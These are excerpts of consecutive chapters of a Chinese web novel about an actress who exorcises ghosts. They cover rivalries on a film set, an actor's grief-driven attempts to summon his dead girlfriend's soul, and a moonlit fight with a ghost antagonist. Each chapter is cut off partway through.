“我跟肖影帝在聊剧本。” “剧组很乱,女孩子要保护好自己,尤其要提防同组的男演员,他们玩得很花,经常把女孩子骗了还不负责,这类事情我听得多了。” 左轻白嗤之以鼻道:“你想说肖恒骗我?拉倒吧,肖恒人品那么好,你把我骗了他都不会骗我。” “这话什么意思,我人品很差?” “你人品不差,但比起肖恒还差那么一点。” “天!你成他迷妹了是不是?” “迷妹怎么了?他作为大前辈,在剧组处处关照我这个小辈,我迷他一下怎么了?” “处处关照?那你就更要小心他。” “你这人真是奇怪,胡乱担心什么?人家肖影帝是有老婆的,他跟他老婆特别恩爱,他经常提起他老婆,天天夸他老婆漂亮、温柔、爱看书。每次提起老婆,肖恒都笑得跟朵花似的,这样的好男人,你觉得他会在片场勾搭其他女演员?”左轻白对路回已经不耐烦了。 说到这里,路回突然不说话了,托着下巴像在思考些什么。 左轻白得意洋洋道:“被我怼得说不出话来了吧?” 路回问左轻白:“你们在片场,有没有见过肖恒跟他老婆视频或者打电话什么的?” 左轻白想了想,摇了摇头,说:“这倒没有。” “这可真奇了。所有人都知道肖恒有个恩爱的老婆,但没有一个人见过肖恒的老婆,甚至连她的声音都没有听到过。”路回若有所思。 “因为她是圈外人,肖恒不希望她被打扰,把她保护得很好。” 路回却托着腮摇了摇头。 路回突然冒出了一个大胆的猜测:“轻白,你说,肖恒他那老婆会不会不存在,肖恒一直在演他有个老婆?他是影帝,演技那么好,演出一副自己有老婆的样子,对他来说很简单吧?” “胡说八道。”左轻白不信,“假装自己有老婆,对他有什么好处?” 路回也说不出来有什么好处。 左轻白看了看时间,她该回剧组了。左轻白对路回说:“时间到了,我该回去了,你来找我的正事还没说呢。” 路回道:“我就来看看你。” “你跑这么老远就为了看看我?你闲得蛋疼吧?” “你是真的毫无浪漫细胞啊……我,我……你知不知道如果一个人总是想看到你意味着什么?” “意味着他很闲。” 路回再次被冠上了“闲人”的称号。 左轻白打开车门,对路回道:“我先走了,不然要挨骂了。有弥月刃的消息我会第一时间通知你。” “等等。”路回拉住左轻白,冷不丁在她嘴唇上啄了一下, “帮你提升点法力,好让你看清楚剧组的牛鬼蛇神,免得让人骗了,捉鬼师小姐。”路回对左轻白说。 左轻白一头雾水地下了路回的车。时间快来不及了,左轻白没工夫想其他的,匆忙朝剧组飞奔而去。 幸好,左轻白没有迟到。 下午的第一场戏是两位女主乔韵、樊音的对手戏。电影宣传是双女主,但这两位都暗暗较着劲呢,都想争一番。 不过撕番这事跟左轻白无关,管他一番二番怎么变,左轻白都是妥妥的女三,左轻白在一旁看戏就行。 这是两个女人在室内一起绣花,表面一团和气,但话语间却在暗暗较劲的一段戏。 拍着拍着,樊音突然叫停。 “导演,编剧老师。”樊音的声音有种慵懒的味道,像白葡萄酒,格外醉人。樊音说:“这句台词,我觉得应该改一下,我饰演的阿颜,不应该这样讲话,她是个刚成人形的妖,不懂人情事故,一派天真,不应该讲这么坏的话。” 拍摄的时候,如果演员对角色有自己的理解,他们会向导演和编剧提出修改意见,叫作“改戏”,这在片场中是很常见的事情,但提出的意见会不会采纳,这么说吧,咖位大的演员提出的意见更容易被采纳,咖位小的演员提出的意见更容易被忽略。 樊音拿 29. 鬼压床 《当一个女明星会抓鬼[穿书]》全本免费阅读 编剧老师说樊音有点自恋,左轻白一开始还不理解“自恋”的含义,后来在与樊音的慢慢接触中,左轻白才悟到了编剧的意思。 “自恋”一词网上给它的释义是:自我崇拜并过分关心自己的完美。因为从心底认同自己的完美,樊音会认为自己的意见是绝对正确的,无论在任何领域;一个完美的人是不会犯错的,于是为了在心理层面维护自己的完美,樊音会习惯性地把错误推给别人,俗称甩锅,这种习惯在樊音身上已经变成跟膝跳反应一样正常。 一次,左轻白跟樊音演对手戏的时候,樊音表演着表演着,不小心出现了失误,有句台词说错了。这种情况很常见,一般再来一条就是了,但樊音似乎无法接受自己的失误,她跺着脚,有些生气地指着一旁的摄影师说:“摄像老师,麻烦你看摄像机好吗,不要盯着我看,会影响我表演的!” 演员表演失误怪摄影师?闻所未闻。樊音无法接受自己的失误,便把造成失误的原因甩到别人身上,来保护自己的“完美”,哪怕是自欺欺人。 摄影师一头雾水,他刚想说话,一旁的申崇宇申导突然给他使了个眼色,意思是让他别计较,顺利拍完这条就行。 摄影师是见过大风大浪的,他没再计较,摆了个OK的手势,但偏偏这时候左轻白出声了。 左轻白这人吧,有些侠气在身上,她爱打抱不平,加之她是穿书进来的,虽然继承了原来那个演员左轻白的演技,但混片场的经验不足啊,她不知道在片场遇到跟自己无关的事情,最好的处理方式就是闭嘴,不要多管闲事。 左轻白开口道:“樊音老师,刚才摄像老师没有盯着你看,你误会他了,是不是应该给人家道个歉?” 樊音“唰”的一下脸拉了下来,所有人“唰”的一下看向左轻白。 樊音被左轻白整得下不来台。 樊音瞪了左轻白一眼,说:“你不好好演戏,左顾右盼什么呢?好了好了,我不管你们了,继续拍吧。” 樊音给自己找台阶下,她主动说继续拍,申崇宇松了一口气。 然而就在这时,申崇宇见左轻白又想开口,申崇宇赶紧叫了一声:“轻白!” 左轻白看了一眼申崇宇,申崇宇拼命给她使眼色,左轻白看懂了,便没再揪着这件事。 导演的工作是保证一部戏拍完、拍好,这种片场小插曲,导演都是抱着能过去就赶紧过去的心态,不影响拍摄进度就行,至于谁对谁错,没那么重要,导演不会在片场当判官。 有一说一,樊音虽然有点性格缺陷,但戏是真的好,对得起她拿过的奖项,对比起来左轻白的演技就相形见绌了。 片场休息的时候,樊音突然在左轻白身边坐下。 樊音这样的咖位,休息室是单独一间的,但她却没去自己的休息室,而在左轻白身边坐下了。 左轻白正在吃苹果,边吃边侧头看了樊音一眼,发现樊音的脸色不太好看。 “你故意的是不是?”樊音压低声音,先发话了,“我现在才知道,你原来是乔韵那一边的。” 樊音跟乔韵不对付,除了申导、肖恒这些跟两边都关系不错且有些地位的人充当润滑剂外,片场的人分两拨,一队站队樊音,一队站队乔韵,而左轻白是个奇葩,她不站队,她一个人玩。 左轻白咬了一口苹果,不卑不亢道:“什么这一边那一边,我是来打工赚钱的,不是来站队抱团的。” 左轻白对待樊音的态度很冷淡,樊音愣了一下。樊音戏好、奖项多、知名度高,要实力有实力,要咖位有咖位,平时在片场众星捧月惯了,除了制片、导演及跟她同等地位的乔韵、肖恒,谁见到她不得摆出笑脸,恭恭敬敬热热情情地叫一声“樊音老师”,况且影视圈是论资排辈最严重的地方之一,樊音是左轻白的前辈,左轻白用这种冷淡的语气跟樊音说话,是很不礼貌的表现。 樊音的脸拉了下来,怒道:“你怎么这么和我说话?” “我这么说话有什么问题吗?我对谁都这么说话。”左轻白淡淡地说。 樊音气得胸口上下起伏,左轻白一天之内两次让樊音下不来台,樊音暗暗把这笔帐记下了。 樊音走后,肖恒过来了。 肖恒坐在了左轻白身边,笑着跟左轻白打招呼,左轻白也笑着跟他打招呼。 肖恒对左轻白说:“轻白,上次你跟我说,如果我正在学什么东西但不得 30. 都朝一个方向飞 《当一个女明星会抓鬼[穿书]》全本免费阅读 恐惧从樊音心底生发出来,樊音被吓出一身冷汗。 大白在樊音床边坐了许久后站了起来,它伏下身去,身体渐渐缩小再缩小,小到变成一个四脚爬行的小孩,小孩“蹬蹬蹬”地爬走了,从床边爬到酒店门口,消失在大门前。 樊音的意识不再清醒,浑浑噩噩地熟睡了过去。 第二天六点,闹钟响起,樊音醒了。 樊音一醒,就捂着胸口大口喘气,她想起昨天晚上的噩梦,被吓出一身冷汗。 樊音连忙去翻自己的行李箱,行李箱里有一枚开过光的平安符。自今年开年来,许多剧组都出了事,由于出事的频率太高了,导致许多演员、剧组工作人员都惴惴不安,但又不能不工作,不工作没饭吃,于是许多人在开机前都会去寺庙请个开过光的平安符,虽然不知道有没有用,但请了总比没请好。 樊音也请了一个,她把平安符贴身放好后,才收拾收拾下楼集合。樊音的助理小云见樊音脸色不太好,忙问她是不是晚上没睡好。 “我没事。”樊音说,“我黑眼圈很重吗?一会让化妆师重点画眼睛。” 今天主要是拍樊音、乔韵、路回三大主角的戏,整整一天樊音都很紧张,但这一天有惊无险,什么意外也没发生。 紧接着,第二天、第三天也没有意外发生,于是樊音放松了下来,心想那天晚上的大白不过是普通的一个噩梦而已。 第四天有一场左轻白跟樊音的对手戏,内容是樊音勺了一瓢水泼向左轻白的脸,然后左轻白开始骂她。导演要求真泼。 “一条过啊。”导演说。 樊音施施然勺了一瓢水,泼向左轻白,左轻白抹了一把脸上的水,正准备念骂樊音的台词时,樊音突然叫了声“停”。 樊音皱眉看向左轻白,劈头盖脸地骂道:“你到底会不会演戏?” 左轻白懵了一下。 樊音继续大骂:“人被泼水的正常反应是你这样的吗?你的脸是木头吗?一点惊愕的表情都不会做?” 左轻白心想这就是我被泼水的正常反应啊,有什么问题吗? 樊音开始给左轻白做示范,她做了个惊愕的表情,对左轻白说:“你应该这么演。” 左轻白心想她的经验是比我丰富,就按她说的演吧。 樊音第二次泼左轻白。 左轻白有模有样地把刚才樊音示范的表情重现了出来,她在演戏上的学习能力不错,确切地说应该是原来那个左轻白的学习能力不错,并把能力留给了她。 但樊音依旧不满意,于是他们又拍了第三条、第四条。拍第三条时樊音说词应该删减,到了第四条才终于顺利拍完。 左轻白总共被泼了四次,如今是个落汤鸡的样子,十分狼狈。 左轻白拿着毛巾擦头时,一旁的樊音竟看着左轻白发出嘲笑的笑声,左轻白看了她一眼,只见她眼底闪过一丝嘲弄,就好像刚才她是故意泼了左轻白四次一样,这下可把左轻白惹怒了。 左轻白心想,刚才是在工作,但现在不是了。于是,左轻白二话不说走向水缸,勺起一瓢水结结实实地泼到樊音头上,樊音也成了落汤鸡。 “你……”樊音瞪大了眼睛,不可思议道:“你怎么能泼我?” “你嘲笑我,我怎么不能泼你?” “我是你前辈,无论我干什么,你都应该尊重我!” “应该?樊音小姐,我观察这么长时间了,你觉得应该这样就要求别人这样,你觉得应该那样就要求别人那样,在你这里地球都应该围着你转,你应该掌控一切,是吧?” 眼看着两人就要大吵起来,剧组的人连忙把她们拉开。 两人被拉 31. 真特么勾人 《当一个女明星会抓鬼[穿书]》全本免费阅读 漫天黄沙中,所有人都匍匐在地,只有左轻白走得稳稳当当。 只听混乱中有人尖叫着大喊了一句:“樊音老师被刮走了!” 左轻白加快步伐,追了上去。 左轻白看到,半空中混在黄沙里的一群白面鬼扯着樊音的衣服,把她带飞起来,像是要把她带走。樊音被沙迷了双目,眼睛睁不开,什么也看不到,她刚想张嘴大喊“救命”,就立即被灌了一嘴的沙。 左轻白飞奔过去,同时取出符纸,给自己画了张飞行符。那张符纸骤然变大,变成像飞毯一样大,左轻白跳了上去,飞毯带她飞向被白面鬼带走的樊音。 樊音被一群白面鬼揪着,已经失去意识,其中一个白面鬼留着哈喇子,用自己的脑袋往樊音的脑袋里钻,它已经钻进去了一小半。左轻白大骇,这种白面鬼钻人脑袋,意味着它想吃人脑髓! 左轻白冲入白面鬼群,从鬼手中抢过樊音,但这时白面鬼已经钻了小半个脑袋进到樊音的脑袋里了,左轻白干脆利落地举起手刀狠狠地打在樊音的额头上,总共打了十几下,把樊音的额头打得红红的,才把白面鬼的小半个脑袋从樊音脑袋中打出去。 幸好樊音只是失去意识,脑髓还没被吃。左轻白把樊音往下一扔,下面是沙,樊音可能会受伤,但扔不死。把樊音扔掉后,金色巨剑出现在左轻白手上,左轻白双手举剑,往白面鬼群中一劈。 一瞬间,金光四起,白面鬼群发出阵阵鬼嚎,接着在金光中逐渐消失。 它们死了,沙尘暴也渐渐停止。 左轻白没有把白面鬼杀光,她留了一个,把它收入符中。 左轻白落回地上。 沙尘暴停止后,剧组四处找人,在离拍摄地有相当一段距离的地方找到了昏迷且浑身是伤的樊音。 剧组把樊音送到医院,幸而樊音没有生命危险,只是醒来时迷迷糊糊地说了一句:“我梦到我被一个人暴打……” 夜晚,肖恒房间。 肖恒把助理赶了出去,自己一个人呆在房间里。房间里摆了好几个酒瓶子,肖恒一个个看过去,一边看一边烦躁地说:“不是,这个不是,这个也不是……” 肖恒逐渐狂躁,他把这些酒瓶全砸了,酒瓶里的魂魄全部慌慌张张地从窗子飞出去。 而另一边,左轻白的房间,左轻白倚在窗户边,略施招魂术,轻轻松松把这些魂魄全招到了自己这里来。 魂魄跟鬼不同,魂魄是人死了之后因为执念未消,还留在世上一段时间,它们不会害人,最多来回飘;鬼就不一样了,鬼也是人变的,但鬼很凶,鬼一定会害人,甚至像金绮月那样以害人为乐。 左轻白摊开手掌,看着手掌上的几缕魂魄。 “你们刚才在肖恒房间?是肖恒捉了你们?”左轻白问。 魂魄们亮起萤火虫一样的光,是点头的意思。 “执念害人,我帮你们消了执念,以后不要再四处游荡了。”左轻白对这几缕魂魄说。说完左轻白略施法术,点化了它们。 魂魄渐渐消失不见。 左轻白拿出一张符纸,白天的时候她把一个白面鬼关在了里面。 左轻白用鬼语跟关在符纸里的白面鬼对话,对话完之后,她弄清楚了来龙去脉。 原来事情是这样的,白面鬼是肖恒招来的,从今年年初开始,肖恒就在剧组频繁使用招魂术,但是呢,肖恒的招魂术是自学的,没有人指点,学得根本就不对,每次魂没招来,反而招来一堆鬼,招魂术被他用成了招鬼术。因为肖恒总是招一堆鬼来剧组,鬼一旦来了,肯定是要害人的,所以就导致剧组出事的频率直线升高。 左轻白听完后,做了如下推理:“肖恒练招魂术练得不对,每次都招来鬼,招不来魂,直到前几天我指点了他一下,他才悟到了一点点招魂的要领。今天他再次使用招魂术,终于成功了,刚才那几缕魂魄就是他招来的,但他对法 32. 疑心越来越重 《当一个女明星会抓鬼[穿书]》全本免费阅读 肖恒看着左轻白,微笑道:“轻白,这么晚了,找我有事?” 左轻白压下那点花痴劲,对肖恒说:“有。我问你……” 她才刚起个头,就被肖恒打断。肖恒抓住左轻白的手臂,一把将左轻白拉入房中。 肖恒关上门,依旧保持着魅力四射的微笑,对左轻白道:“轻白有什么想问我的,可以进来慢慢说。” 他抓住左轻白的手,把她往房间里带,他似乎在故意散发魅力,引诱左轻白。 左轻白看到房间的垃圾桶里有一堆碎掉的酒瓶子,开门见山地说:“你在学招魂术。” 肖恒笑眯眯地说:“轻白不是早就知道了吗?上次多亏轻白指导我。” 左轻白双手抱臂,与肖恒对峙。 “你不是捉鬼师,自学捉鬼术,除非你是绝世天才,否则很难成功。”左轻白说。 “是吗……”肖恒表情落寞。 “最要命的是,一直以来你学招魂术都学错了,魂没招来,反而给剧组招来一堆鬼。从今年年初开始,那么多剧组出事故,都是鬼干的。你害死了很多人!” 肖恒无辜道:“这话我听着奇怪,剧组出事故是鬼干的,遇难的人也是鬼害的,是鬼下的手,关我什么事?” “是你把它们招到片场去的。” “我只是把它们招到片场去,但我没有把它们从无到有创造出来,就算我不招它们去片场,它们在其他地方难道就不会害其他人了吗?” “你这是诡辩。” 肖恒温柔地笑了,“我怎么就是诡辩了?害人的至始至终都是鬼,不是我。” “我辩不过你。”左轻白认输。 “拍戏的时候你把樊音辩得哑口无言,怎么现在这么容易就认输了?”肖恒依旧在笑。 左轻白觉得肖恒的笑格外刺眼,“你口舌比樊音厉害多了。”左轻白说,“不管怎么说,那么多起片场事故,都跟你脱不开干系,你要承担责任。” 肖恒把笑容一收,露出认真的表情,对左轻白道:“我可以承担责任,任你处置,但你要帮我一个忙。” “什么忙?” “刚才在门口看到你,我突然想到,你是有真本事的,与其我自己瞎捣鼓,不如让你帮我招魂。轻白,以你的本事,是不是想要招到谁,就能招到谁?” “不一定。人死了之后执念未消,魂魄才会留在世间一段时间;但如果死的时候执念已消,那就不会留下魂魄。”左轻白如实说道。 肖恒高兴道:“那她一定还在,我了解她,你帮我把她招回来吧。” “你怎么这么肯定她的魂魄还在?你知道她的执念?” “她的执念是爱我。” “她是谁?” “她叫祝薇,生前也是一名演员。” 左轻白没听说过这个名字,便拿出手机查了一下,发现祝薇确实是一名演员,虽然也是科班出身,但入行许多年一直在演配角,所以没有名气,而且,这人三年前就已经去世了。 祝薇去世后没多久,肖恒就发生了一场很严重的车祸,那场车祸导致肖恒整整一年卧病在床,没接任何工作。两年前肖恒从那场车祸中恢复过来,他恢复后做的第一件事就是官宣结婚,从那以后,花边新闻不断的肖影帝彻底收心,斩断一切绯闻,成了一个挑不出毛病的好老公。 左轻白嘲讽地一笑,问肖恒:“怎么?祝薇是你前女友?你费那么大工夫,就是为了招前女友的魂,再见她一面?可你都结婚了啊,已婚男士对前女友念念不忘,不合适吧?这让你妻子怎么想?” 肖恒苦笑了一下,他走到桌前,桌子上放着酒和酒杯。肖恒给自己倒了半杯酒,他看着酒杯中自己的倒影,悠悠地说:“祝薇不是我前女友,祝薇就是我妻子。” “什……么?”左轻白愣住了,“你结婚两年,而祝薇三年前就去世了!” “虽然没来得及领证,但我认定的妻子至始至终只有她一个。” 左轻白惊呆了,“难道你这两年的已婚状态,是演出来的?” “我没演。”肖恒斩钉截铁道,“我就是已婚了,祝薇就是我妻子。” 肖恒双眼通红,看上去十分偏执。 “你这两年跟谁过的?”左轻白问。 “祝薇。” “祝薇已经死了!” “她在我心中没死。只要我还记着她,她就没死。我这两年当她的老公当得很开心,只是家里稍微有些冷清,如果你能帮我把她的魂魄招回来,我的家庭就更完美了。” “你……你想跟魂魄成家过日子?” “有什么不行?” 左轻白压下震惊,不去跟肖恒争执。 左轻白想了想,对肖恒说:“你想让我帮你招祝薇的魂,总得把事情的前因后果告诉我吧?” 肖恒问:“我告诉你了,你就一定帮我招魂吗?” “当然,我左轻白从不食言。”左轻白道。 “好,我告诉你,你一定遵守承诺。”肖恒说。 —————————————— 三年前,肖恒家。 祝薇坐在沙发上织围巾,给肖恒织的。 祝薇是肖恒表演学院的同班同学,现在是肖恒的地下女友。 同一个班的同学,都是艺考打败了千军万马考进来的,没有哪个实力差,但毕业之后混得怎样,那就天差地别了,有人事业节节高升,把影帝奖杯捧回了家,比如肖恒;有人嫁入豪门或者退圈转行;也有人在片场默默打拼了许多年依然没什么名气,跟个路人甲似的,比如祝薇。 祝薇跟肖恒是毕业季那年在一起的,同年,肖恒得到了一个很好的机会,在影视剧中初露头角,小红了一把。肖恒对祝薇说:“我现在是个新人,从来没有哪个新人一出道就曝光恋情的,公司、粉丝都会不满,咱们的恋情暂时保密,转为地下恋吧。”祝薇同意了。 再后来,祝薇的事业发展不太顺利,而肖恒发展得越来越好,他每年都有爆款电影,成为了一颗冉冉升起的新星。在这个阶段,肖恒的绯闻也越来越多,不光有跟女明星暧昧的绯闻,甚至还有卖腐的。肖恒对祝薇说:“我现在是事业上升期,没有哪个处于事业上升期的明星不炒绯闻、炒cp的,都是演的。这个时候恋情依旧不能曝光,毕竟上升期嘛,曝光恋情很影响事业。” 再往后,肖恒成了影帝,这回肖恒又跟祝薇说:“我现在的狂热粉太多了,有些狂热女友粉什么疯狂的事都做得出来,听说以前有个影帝就因为官宣恋情被女友粉用自杀威胁,为了让日子好过一些,恋情还是不要曝光的好。”反正肖恒总有理由。 祝薇织围巾织累了,放下休息了一会,拿起手机刷娱乐新闻,一刷,就看到了肖恒被拍到跟网红约会的新闻。 祝薇心里苦涩,她把手机放下,继续织围巾。 肖恒连续好长时间都跟不同的网红约会,以前肖恒炒绯闻是为了工作,但这次祝薇知道不是,这一次肖恒是在用这种方式跟祝薇发脾气。 上次肖恒在获奖晚宴上因为喝多了有点飘,得罪了业内一个叫霍继宏的大佬,大佬很生气,一连让肖恒丢了好多资源,肖恒害怕了,连忙上门负荆请罪,但霍继宏在气头上,不肯见他。最后是祝薇帮忙求情,这事 33. 疑心愈发不可收拾 《当一个女明星会抓鬼[穿书]》全本免费阅读 从那以后,肖恒的疑心愈发不可收拾,他监听祝薇的手机,有事没事就疑神疑鬼,动不动就朝祝薇大发脾气,甚至掐着祝薇的脖子问她跟霍继宏到底有没有不正当关系。这种疑心病让祝薇忍无可忍,快要爆炸了。 这天是肖恒休假的最后一天,明天一早助理就会接肖恒去剧组,拍新戏。 天气很好,或许是想缓和一下跟祝薇的关系,肖恒提出开车去森林公园玩,祝薇同意了。 肖恒开车在盘山公路上穿梭,祝薇坐在副驾驶座,偏着头看着窗外,窗外风景很美,但再美的风景也没能让祝薇的心情变好。 这条公路再美,但终究有尽头,自己与肖恒的感情,也已经走到了头。祝薇想。 终于,祝薇向肖恒提出了分手。 肖恒把车停在路边。 “你酝酿了那么久,终于还是向我说出这两个字了。”肖恒压抑着怒气,说。 “是被你逼的。” “你以前对我那么好,不知道从什么时候开始,你对我越来越不好了。你就是有预谋地越来越冷淡!” “你好意思说我越来越冷淡?我在你身边那么久,一直见不得光,没有人知道你我的关系,而你,这么多年了,我也从来没听你说过对结婚有什么规划,这么一看,其实我俩无论是在一起还是分手,都没有区别。这段时间你倒是装得深情,还不是因为察觉到我要走了,心里有落差。”祝薇跟他吵了起来。 或许是祝薇的话正中肖恒心窝,肖恒一拍方向盘,怒道:“你要分手就分手,谁想理你啊?要走你现在就走,现在!马上!下车!” “好,下车就下车。” 祝薇毫不犹豫地打开车门走出去,肖恒也毫不犹豫地一踩油门驶下山。 肖恒打电话给助理,让助理马上过来接他,不等明天了,今晚就连夜赶去剧组,同时,肖恒拉黑了祝薇的电话、微信等所有联系方式。 那天晚上,突然下了暴雨。 肖恒一进组,就开启工作状态,心无旁骛地拍戏。 肖恒自信吵架过后祝薇一定会忍不住来剧组探班,毕竟这么多年,他在哪个剧组,祝薇就跑到哪个剧组,哪怕只是远远看一眼。 但肖恒没等来祝薇的探班,而是等来了祝薇的死讯。 原来那天祝薇下了肖恒的车后,自己一个人步行下山,哪想森林公园下起了大暴雨,暴雨导致山体滑坡,祝薇在山体滑坡中遇了难。 听到这个消息时,肖恒正在拍一场开车的戏,这场戏需要肖恒在公路上开车,摄影师在外面拍远景。 如果是拍飙车戏的话,剧组会让特技演员上场,演员只需要拍几个特写露个脸,但肖恒这场戏不是飙车戏,只是正常地开车,几乎没有危险系数,所以不需要用到特技演员,可以让肖恒自己上,导演还特意叮嘱肖恒车速不要太快,注意安全。 可祝薇去世的消息让肖恒心神不宁,肖恒把导演的叮嘱忘到九霄云外,一走神,一不小心把油门重重地急踩下去,车辆直接不受控制地冲了出去,撞出护栏,翻下斜坡。 没错,肖恒三年前那场车祸是在剧组发生的。 事后,肖恒被送往医院,他受伤很严重,没法继续拍摄,剧组只能临时换人。 在那之后,肖恒整整一年没露面,他不露面的原因,一是因为车祸受伤需要时间恢复,二是因为他患上了抑郁症。 肖恒不停地在反刍,在脑子里反反复复地想,如果那天自己跟祝薇吵架时坚持不让祝薇下车,祝薇是不是就不会发生意外?如果自己那段时间没有疑神疑鬼,老是怀疑祝薇跟霍继宏有一腿,祝薇是不是就不会跟自己吵架?如果祝薇还在…… 如果可以有很多,但现实只能有一个。 肖恒反反复复地回想过去,导致他抑郁越来越严重。 再后来,肖恒在社交媒体上“官宣结婚”,但他不能说新娘的名字,他不能让别人知道新娘是个已经死了的人。现实生活中,肖恒过上了有“老婆”的日子,就好像只要他演出自己跟祝薇的婚后生活,祝薇就没有死,那场意外就可以抹平一样。 人吧,总得找个法子自己欺骗自己,才能活得下去,自从肖恒假装已婚之后,他的抑郁症还真好了许多。 —————————————— 酒店,肖恒房间。 左轻白听完肖恒的故事,问:“你想让祝薇回来?” “是。”肖恒道。 34. 你怎么知道 《当一个女明星会抓鬼[穿书]》全本免费阅读 肖恒抱着头,蹲在地上,不停地自言自语,看上去精神有些错乱。 “喂。”左轻白叫了他一声,“你没事吧?” 然而肖恒没理她。 左轻白觉得他状态不对,想走上前去查看,谁知她才走了一步,肖恒蜷成一团的身体突然“嘭”的一声爆了一下。爆炸的声音虽然不大,但从肖恒的身体里却突然升起一朵蘑菇云,这情形倒是挺吓人的。 左轻白瞠目结舌,就在她愣神的工夫,突然从洗手间里钻出一条青色的小蛇。 “哪来的蛇?马桶里钻出来的?”左轻白感到很震惊。 这条青色小蛇显然不是条普通的小蛇,它直奔那朵从肖恒体内升起来的蘑菇云,突然跳到半空中,“嗖”的一下叼住了蘑菇云,又“嗖”的一下游向窗户,硬生生把窗户撞开,叼着蘑菇云跳窗跑了。 左轻白马上去追那条蛇,追之前她看了一眼肖恒,肖恒昏迷了,左轻白走到肖恒跟前,探了探他的鼻息,把了把他的脉搏,确定他没有生命危险后,才跳出窗户,去追那条蛇。 青蛇灵活游走,左轻白飞檐走壁,月夜下青蛇回过头,左轻白看到它的蛇头上长出了人脸。 左轻白几乎是脱口而出:“人面蛇!是金绮月!” 左轻白马上就猜到这条青蛇是金绮月的鬼奴,它长着人脸,是人面蛇,它还没有鬼气,它钻入肖恒房间时一点鬼气都没散发出来,导致左轻白对它毫无防备,只有金绮月才能制造这种可以隐藏鬼气的鬼奴。 左轻白翻了几个跟斗,一路紧追,从酒店一直追到了苍灵关外的戈壁滩上。 茫茫戈壁中,一个身穿红裙,戴着红色贝雷帽的女孩孤零零地站在月夜下,她看起来是那么孤寂,仿佛比地球上所有生物都要孤寂。 青蛇叼着蘑菇云游到女孩跟前,把蘑菇云交给女孩,女孩点了青蛇的脑袋一下,青蛇原地消失了。 左轻白也追来了。 金色巨剑出现在左轻白手中,左轻白露出防御姿态,冲着那女孩的背影大喊了一声:“金绮月!” 女孩转过身,她手里牵着青蛇交给她的蘑菇云,看起来像是游乐场中天真烂漫的小姑娘牵着氢气球。 但金绮月并不天真,金绮月很可怕。 金绮月笑吟吟地唤了一声:“轻白姐姐。” 左轻白揉了揉鼻子,咬牙切齿道:“金绮月,怎么哪哪都有你?你就不能消停点吗?非要时时刻刻整活?你这么能整活,干脆开个综艺算了,收视绝对能爆。” 金绮月眨巴眨巴大眼睛,说:“我开什么综艺?杀人综艺吗?轻白姐姐真有创意,我就喜欢有创意的人。” “你可别总把喜欢我挂在嘴边,我怕我一不小心当真了。” “当真了才好。哎,轻白姐姐,我突然有个想法,现在娱乐圈男女cp、男男cp炒得太多了,观众都有点腻了,反正你我都在娱乐圈,不如我俩组个女女cp,捆绑炒作一番,一起搞事业呀。”金绮月依然还是那副天真烂漫的表情。 “谁会跟厉鬼一起搞事业啊?” 左轻白跟金绮月聊天的同时,始终保持着戒备状态,她举起金色巨剑,警惕地看着金绮月。 金绮月牵着的那朵蘑菇云本来非常巨大,这时突然缩小,一直缩小到一朵棉花糖的大小。金绮月举着那朵缩小了的蘑菇云,像举着一个棉花糖。 金绮月像小孩子一样,把“棉花糖”撕下来放在嘴里吃掉,“棉花糖”被她吃得越来越小。 金绮月边吃边对左轻白说:“姐姐今天胆子怎么这么大?你那个血包路回不在,都敢来追我?” “如果是以前,路回不在身边,我看到你肯定会躲,绝对不敢追上来,但是今天,我敢。金绮月,你上次在我剑下受的伤,还没好全吧?你现在是个战损状态,我怕你做什么?” “你怎么知道我伤没好全?”金绮月倒是没掩饰,坦坦荡荡地承认。 “你要是身上没伤,刚才就自己跳进房间去取肖恒身上这朵云了,可你没有自己去,而是叫了个鬼奴去,说明你不想跟我碰上。你为什么不想跟我碰上?因为忌惮我。可我的实力明明比不上你,现在路回还不在我身边,你完全可以捏死我,为什么要忌惮我?思来想去,只有一种可能,那就是你伤还没好,实力还没恢复,你现在很虚弱。”左轻白条理清晰地分析。 “轻白姐姐真是冰雪聪明,我可是越来越喜欢你了。是,我现在是个战损状态,但你血包不在,就算是面对战损状态的我,你又有几分胜算?轻白姐姐,你其实没有信心。” 金绮月说得没错,就算她现在很虚弱,但她毕竟是神通鬼,瘦死的骆驼比马大,左轻白在没有助道者路回的帮助下,仅凭自己的实力,打赢她的可能性不大。 但左轻白又不蠢,她既然敢追来,那就说明她心里有自己的盘算。 金绮月把手中的“棉花糖”吃完了,她舔了舔嘴唇,看上去心满意足。 “你吃的是什么?”左轻白问。 “一朵我放在肖恒身体里养的疑云,它本来只有一朵野花那么小,被肖恒养成这么大了。我用肖恒来养疑云,疑云是我的食物,养大了,就可以吃了。” “一朵疑云,疑是怀疑……”左轻白想到了什么,她质问金绮月:“肖恒的疑心病,是你搞的鬼?” “是啊。” “你有毒吧?闲着没事把人家搞分手?等等……祝薇在森林公园遭遇的那场意外,不会也是你干的吧?” 金绮月冲左轻白翻了个白眼,像小女孩发脾气一样,扁着嘴委屈道:“你污蔑我!森林公园那场意外它还真就是意外,是天灾,跟我没关系!至于祝薇跟肖恒分手,关我屁事啊?轻白姐姐,你不会以为如果我不用肖恒的身体养疑云,肖恒没有对祝薇疑神疑鬼,他俩就不会分手吧?他俩都那样了,早晚得分,你别看现在肖恒为祝薇寻死腻活的,一副很深情的样子,不过是 35. 皓月当空 《当一个女明星会抓鬼[穿书]》全本免费阅读 皓月当空。 时间到达了凌晨2:03。 夜空中的月亮升到最高、最圆。 左轻白手中的金色巨剑爆发出强光。 就是现在! 左轻白毫不犹豫地双手举起金色巨剑,一跃而起,提剑朝金绮月劈了下去! 杀! 左轻白势如破竹,金色巨剑借着月光,爆发出可怖的力量。那股力量具像化成为一个金色罩子,笼罩住金绮月,几乎要把金绮月融化,金绮月发出刺耳的尖叫。 但金绮月也不是吃素的,金绮月反击了。从金色罩子中冲出来一股黑气,黑气幻化成大手的模样,硬生生撕开了金色罩子,并朝左轻白扇了一巴掌。左轻白被扇飞,栽了几个跟斗,滚了一路,直到撞在一个石头上才停下。 左轻白觉得自己五脏六腑像快碎了一样,“噗”的一下吐出一口鲜血。 金绮月上次的伤还没好,力量比从前弱,显不出法相,否则的话左轻白可能不仅仅是吐血这么简单了。 金色罩子与黑色大手都消失了,金绮月也不见了,戈壁滩上只剩下左轻白一个人。 金绮月抛下左轻白跑了,她逃跑的原因只有一个,刚才“刺月”一击重伤了她,才导致她无力反击,狼狈而逃。 左轻白站了起来,心想就算依然没能杀死金绮月,这一回合,也算是自己赢了。 戈壁滩,月夜下,一辆越野车驶过。 金绮月坐在后排,她现在很虚弱。 她的鬼气混乱,于是她在后排打坐,用鬼术为自己调理气息。 